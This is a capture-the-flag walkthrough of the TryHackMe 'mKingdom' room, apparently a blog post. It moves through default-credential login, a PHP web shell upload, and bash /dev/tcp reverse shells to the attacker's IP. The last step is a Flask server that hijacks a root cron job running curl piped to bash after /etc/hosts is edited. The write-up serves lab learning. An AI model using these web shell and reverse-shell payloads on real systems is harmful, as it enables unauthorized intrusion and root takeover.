Skip to content

TryHackMe - mKingdom

Introduction


OS: Linux

URL: mKingdom

Level: Easy


CTF styled room involving enumeration, insecure passwords and insecure file permissions.

Recon

First we start Off with a Nmap Scan to check for open ports and services running on the machine.

┌──(kali㉿kali)-[~/THM/mkingdom]
└─$ sudo nmap -sC -sV -oN nmap/initial $IP -v 

# Nmap 7.94SVN scan initiated Fri Jun 14 21:22:37 2024 as: nmap -sC -sV -oN nmap/initial -v 10.10.248.123
Nmap scan report for 10.10.94.64
Host is up (0.17s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
85/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 0H N0! PWN3D 4G4IN

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 14 21:22:52 2024 -- 1 IP address (1 host up) scanned in 15.02 seconds

There is just one port open, port 85 running an Apache server.

Navigating to the webpage with the title "0H N0! PWN3D 4G4IN"

port_85_webpage_pwned_message

But this doesn't give us much information, so let's run a directory bruteforce using feroxbuster.

┌──(kali㉿kali)-[~/THM/mkingdom]
└─$ feroxbuster -u http://$IP:85/ -w /opt/useful/SecLists/Discovery/Web-Content/raft-small-words.txt 

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.3
───────────────────────────┬──────────────────────
 🎯  Target Url             http://10.10.94.64:85/
 🚀  Threads                50
 📖  Wordlist               /opt/useful/SecLists/Discovery/Web-Content/raft-small-words.txt
 👌  Status Codes           All Status Codes!
 💥  Timeout (secs)         7
 🦡  User-Agent             feroxbuster/2.10.3
 🔎  Extract Links          true
 🏁  HTTP methods           [GET]
 🔃  Recursion Depth        4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       32w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET       10l       30w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       98l      326w    50278c http://10.10.94.64:85/img1.jpg
200      GET       33l       69w      647c http://10.10.94.64:85/
301      GET        9l       28w      310c http://10.10.94.64:85/app => http://10.10.94.64:85/app/
200      GET       38l       67w      871c http://10.10.94.64:85/app/
301      GET        9l       28w      317c http://10.10.94.64:85/app/castle => http://10.10.94.64:85/app/castle/
301      GET        9l       28w      325c http://10.10.94.64:85/app/castle/updates => http://10.10.94.64:85/app/castle/updates/
301      GET        9l       28w      326c http://10.10.94.64:85/app/castle/packages => http://10.10.94.64:85/app/castle/packages/
200      GET      240l      700w    12035c http://10.10.94.64:85/app/castle/
[..SNIP..]

Instantly we get a hit for the /app directory.

Navigating to the /app directory we see a single button with the text JUMP.

slash_app_page.png

[..SNIP..]
<script>
    function buttonClick() {
        alert("Make yourself confortable and enjoy my place.");
        window.location.href = 'castle';
    }
</script>
[..SNIP..]

Which on clicking prints the text Make yourself confortable and enjoy my place. in an alert box and redirects to the /castle directory.

Which our feroxbuster also discovers slowly.

/castle seems to be running a blog.

blog_on_slash_castle.png

Scrolling to the footer of the page reveals that it's using Concrete5 CMS with Elemental theme.

footer_concrete5_elemental.png


Exploitation

shell as www-data

Now that we know the CMS and the theme, searching for known vulnerabilities for Concrete5 and Elemental theme doesn't turn up anything useful.

from the Concrete5 tutorial we know that the default login page is located at /index.php/login.

let's access it by going to http://$IP:85/app/castle/index.php/login.

login_page.png

We get a login prompt, but we don't have any credentials.

Searching for default credentials for Concrete5 shows that users are asked for a password during installation.

trying to see if the application is using any insecure (default) passwords.

admin:password works and we get logged in to the dashboard.

Tip

It's usually a good idea to try a few default password combos before trying to brute force the password. Doing this, you'll usually find quick wins.

You'll also find out any odd behaviour pattens (IP blocking, response times, unique error messages) that can help with bruteforcing later.

dashboard.png

In the dashboard, we have an option to upload files.

we can try to upload a simple PHP web shell

cmd.php
<?php system($_REQUEST['cmd']); ?>

upload_shell_error.png

But we get an error message saying that the file type is not allowed.

My initial reaction would be to try to use some PHP upload filter bypass techniques.

But since we are the admin, let's look around the dashboard to see if any settings can be changed that will help us upload a .php shell.

dashboard_settings.png

going to System & Settings --> Files --> Allowed File Types we can indeed change the allowed file types.

allowed_file_types.png

Let's add php to the allowed file types and try to upload the shell again.

upload_shell_success.png

Once you close the Upload window you'll get a Upload Complete message with the full path for the uploaded file.

upload_complete_dialog.png

Navigating to the uploaded file, we can execute commands on the server

http://$IP:85/app/castle/application/files/<DYNAMIC_PATH>/cmd.php?cmd=whoami

whoami.png

Let's get a reverse shell by running the classic bash payload

Note

I'm sending the payload as a POST request as post-requests generally have fewer bad characters than GET requests.

You can right-click on the burp request and click on Change Request Method to change from GET to POST and vice versa.

You'll also need to url-encode the payload before sending it. which you can do by selecting the payload first and then pressing ctrl+u.

bash -c 'bash -i >& /dev/tcp/YOUR_THM_VPN_IP_HERE/9001 0>&1'

reverse_shell_post_request.png

┌──(kali㉿kali)-[~/THM/mkingdom]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.x.x.x] from (UNKNOWN) [10.10.94.64] 45806
bash: cannot set terminal process group (1326): Inappropriate ioctl for device
bash: no job control in this shell
www-data@mkingdom:/var/www/html/app/castle/application/files/8917/1848/1261$ whoami
<html/app/castle/application/files/8917/1848/1261$ whoami                    
www-data
www-data@mkingdom:/var/www/html/app/castle/application/files/8917/1848/1261$ 

Shell as toad

Since we had a login page for Concrete5 there must be a database running on the server.

Let's try to look for the database credentials.

We find the database credentials in the database.php file inside /var/www/html/app/castle/application/config/ directory.

www-data@mkingdom:/var/www/html/app/castle/application/config$ ls
app.php  database.php  doctrine  generated_overrides
www-data@mkingdom:/var/www/html/app/castle/application/config$ cat database.php 
<?php

return [
    'default-connection' => 'concrete',
    'connections' => [
        'concrete' => [
            'driver' => 'c5_pdo_mysql',
            'server' => 'localhost',
            'database' => 'mKingdom',
            'username' => 'toad',
            'password' => '**REDACTED**',
            'character_set' => 'utf8',
            'collation' => 'utf8_unicode_ci',
        ],
    ],
];
www-data@mkingdom:/var/www/html/app/castle/application/config$ 

checking the users on the machine we see that there is a user toad.

let's try to use the password from database.php to login as toad.

www-data@mkingdom:/$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
mario:x:1001:1001:,,,:/home/mario:/bin/bash
toad:x:1002:1002:,,,:/home/toad:/bin/bash


www-data@mkingdom:/$ su toad
Password: 

toad@mkingdom:/$ whoami
toad

toad@mkingdom:/$ cd

toad@mkingdom:~$ ls -a
.   .bash_history  .bashrc  .compiz  Desktop    Downloads  .ICEauthority  Music           Pictures  Public   .ssh       Videos       .xsession-errors
..  .bash_logout   .cache   .config  Documents  .gconf     .local         .mysql_history  .profile  smb.txt  Templates  .Xauthority  .xsession-errors.old

There is no user.txt file in the home directory of toad. Likely indicates that we need to switch to another user to get the user flag.


Shell as mario

Switching to mario user was very CTF styled and took me some time as I initially glossed over it even though it was one of the first things I checked.

If you look at the env vars you'll notice a odd env var PWD_token set to a base64 encoded string. Decoding it gives the password for the user mario.

toad@mkingdom:~$ env

APACHE_PID_FILE=/var/run/apache2/apache2.pid
XDG_SESSION_ID=c2
SHELL=/bin/bash
APACHE_RUN_USER=www-data
[..SNIP..]
PWD_token=**REDACTED**
MAIL=/var/mail/toad
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
[..SNIP..]

toad@mkingdom:~$ echo $PWD_token | base64 -d
ika**REDACTED**

The best way I can think of to find this automatically is to check for file modification times on user directory and look for any files that have been modified long after system install.

But sadly, this method won't work here without a huge number of false positives due to the file being modified at almost the same time as most other files on user dir.

Usually when something like this is added, it's much later than the initial setup of the machine. Making the bashrc file which has this set stick out from the rest. Which we can then diff with the original file in /etc/skel/.bashrc to indentify the change.

toad@mkingdom:~$ diff .bashrc /etc/skel/.bashrc 

21d20
< unset HISTFILE
116,117d114
< 
< export PWD_token='aWth**REDACTED**=='

toad@mkingdom:~$ echo $PWD_token | base64 -d
ika**REDACTED**

toad@mkingdom:~$ su mario
Password: 

mario@mkingdom:/home/toad$ whoami
mario

But anyway let's switch to mario user using the password we found and continue our enumeration.

mario@mkingdom:/home/toad$ cd

mario@mkingdom:~$ cat user.txt 
cat: user.txt: Permission denied

We get a permission denied error when trying to read the user.txt file.

This is because the cat binary in /bin/cat has the setuid bit set and is owned by our user toad. So when you try to cat something due to the suid bit it automatically switches to user toad who doesn't have permissions to view the user.txt file.

We can easily solve this by removing the suid bit from /bin/cat and then reading the user.txt file or by using something like grep to read the file.

mario@mkingdom:~$ ls -la $(which cat)
-rwsr-xr-x 1 toad root 47904 Mar 10  2016 /bin/cat

mario@mkingdom:~$ su toad
Password: 

toad@mkingdom:/home/mario$ chmod u-s /bin/cat

toad@mkingdom:/home/mario$ exit
exit

mario@mkingdom:~$ ls -la $(which cat)
-rwxr-xr-x 1 toad root 47904 Mar 10  2016 /bin/cat

mario@mkingdom:~$ cat user.txt 
thm{**REDACTED**}

mario@mkingdom:~$ grep . user.txt 
thm{**REDACTED**}

Shell as root

Running linpeas with default settings doesn't show anything useful.

Let's try to spy for any scheduled jobs running using pspy64.

mario@mkingdom:~$ wget $THM_VPN_IP:8000/pspy64
[..SNIP..]
2024-06-15 16:35:55 (825 KB/s) - ‘pspy64’ saved [3104768/3104768]

mario@mkingdom:~$ chmod +x pspy64 

mario@mkingdom:~$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██     ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒      ██▒▒██▄█▓▒   ▐██▓░
    ▒██▒   ░▒██████▒▒▒██▒     ██▒▓░
    ▒▓▒░   ░▒ ▒▓▒  ░▒▓▒░     ██▒▒▒ 
    ░▒       ░▒   ░░▒      ▓██ ░▒░ 
    ░░             ░░         ░░  
                                    
                                     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2024/06/15 16:36:09 CMD: UID=1001  PID=3699   | ./pspy64 
2024/06/15 16:36:09 CMD: UID=0     PID=3560   | /usr/sbin/cupsd -f 

[..SNIP..]

2024/06/15 16:36:09 CMD: UID=0     PID=2      | 
2024/06/15 16:36:09 CMD: UID=0     PID=1      | /sbin/init
2024/06/15 16:37:01 CMD: UID=0     PID=3710   | bash 
2024/06/15 16:37:01 CMD: UID=0     PID=3709   | /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash >> /var/log/up.log  
2024/06/15 16:37:01 CMD: UID=0     PID=3708   | /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash >> /var/log/up.log  
2024/06/15 16:37:01 CMD: UID=0     PID=3707   | CRON 
2024/06/15 16:37:01 CMD: UID=0     PID=3712   | bash 
2024/06/15 16:37:01 CMD: UID=0     PID=3714   | wc -l 
2024/06/15 16:37:01 CMD: UID=0     PID=3713   | ls -laR /var/www/html/app/castle/ 
2024/06/15 16:37:02 CMD: UID=0     PID=3715   | date 

and about a minute later we see a task running as root (UID=0) which is running a script counter.sh

mkingdom.thm is mapped to localhost in /etc/hosts file so it's running the script /var/www/html/app/castle/application/counter.sh

counter.sh
#!/bin/bash
echo "There are $(ls -laR /var/www/html/app/castle/ | wc -l) folder and files in TheCastleApp in - - - - > $(date)."

To abuse this, we need to somehow take control of the mkingdom.thm domain and point it to our machine.

looking at the file permissions of /etc/hosts we can see that the group mario can write to the file.

mario@mkingdom:~$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       mkingdom.thm
127.0.0.1       backgroundimages.concrete5.org
[..SNIP..]

mario@mkingdom:~$ ls -la /etc/hosts
-rw-rw-r-- 1 root mario 342 Jan 26 19:53 /etc/hosts

mario@mkingdom:~$ nano /etc/hosts

mario@mkingdom:~$ cat /etc/hosts
127.0.0.1       localhost
10.x.x.x     mkingdom.thm
127.0.0.1       backgroundimages.concrete5.org
[..SNIP..]

now that mkingdom.thm is pointing to our machine, we can create a script that will give us a reverse shell.

I'll be writing a simple flask server that responds with a reverse shell payload when /app/castle/application/counter.sh is requested.

you can even just use python -m http.server 85 and create the required file structure or create a custom script using http.server module.

flask_server.py
from flask import Flask
app = Flask(__name__)


@app.route('/app/castle/application/counter.sh')
def hello_world():
    return """bash -c 'bash -i >& /dev/tcp/YOUR_THM_VPN_IP/9001 0>&1'"""


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=85)

let's run both a netcat listener on port 9001 and the flask server at port 85 and wait for a minute until the cron job runs and you see a log entry in flask server output.

┌──(kali㉿kali)-[~/THM/mkingdom]
└─$ python exploit_flask.py 
 * Serving Flask app 'exploit_flask'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:85
 * Running on http://192.168.74.132:85
Press CTRL+C to quit

10.10.94.64 - - [15/Jun/2024 16:54:00] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -

Once you see the request, you should have a root shell.

┌──(kali㉿kali)-[~/THM/mkingdom]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.x.x.x] from (UNKNOWN) [10.10.94.64] 46360
bash: cannot set terminal process group (3968): Inappropriate ioctl for device
bash: no job control in this shell

root@mkingdom:~# whoami
whoami
root

root@mkingdom:~# cat root.txt   
cat root.txt
thm{**REDACTED**}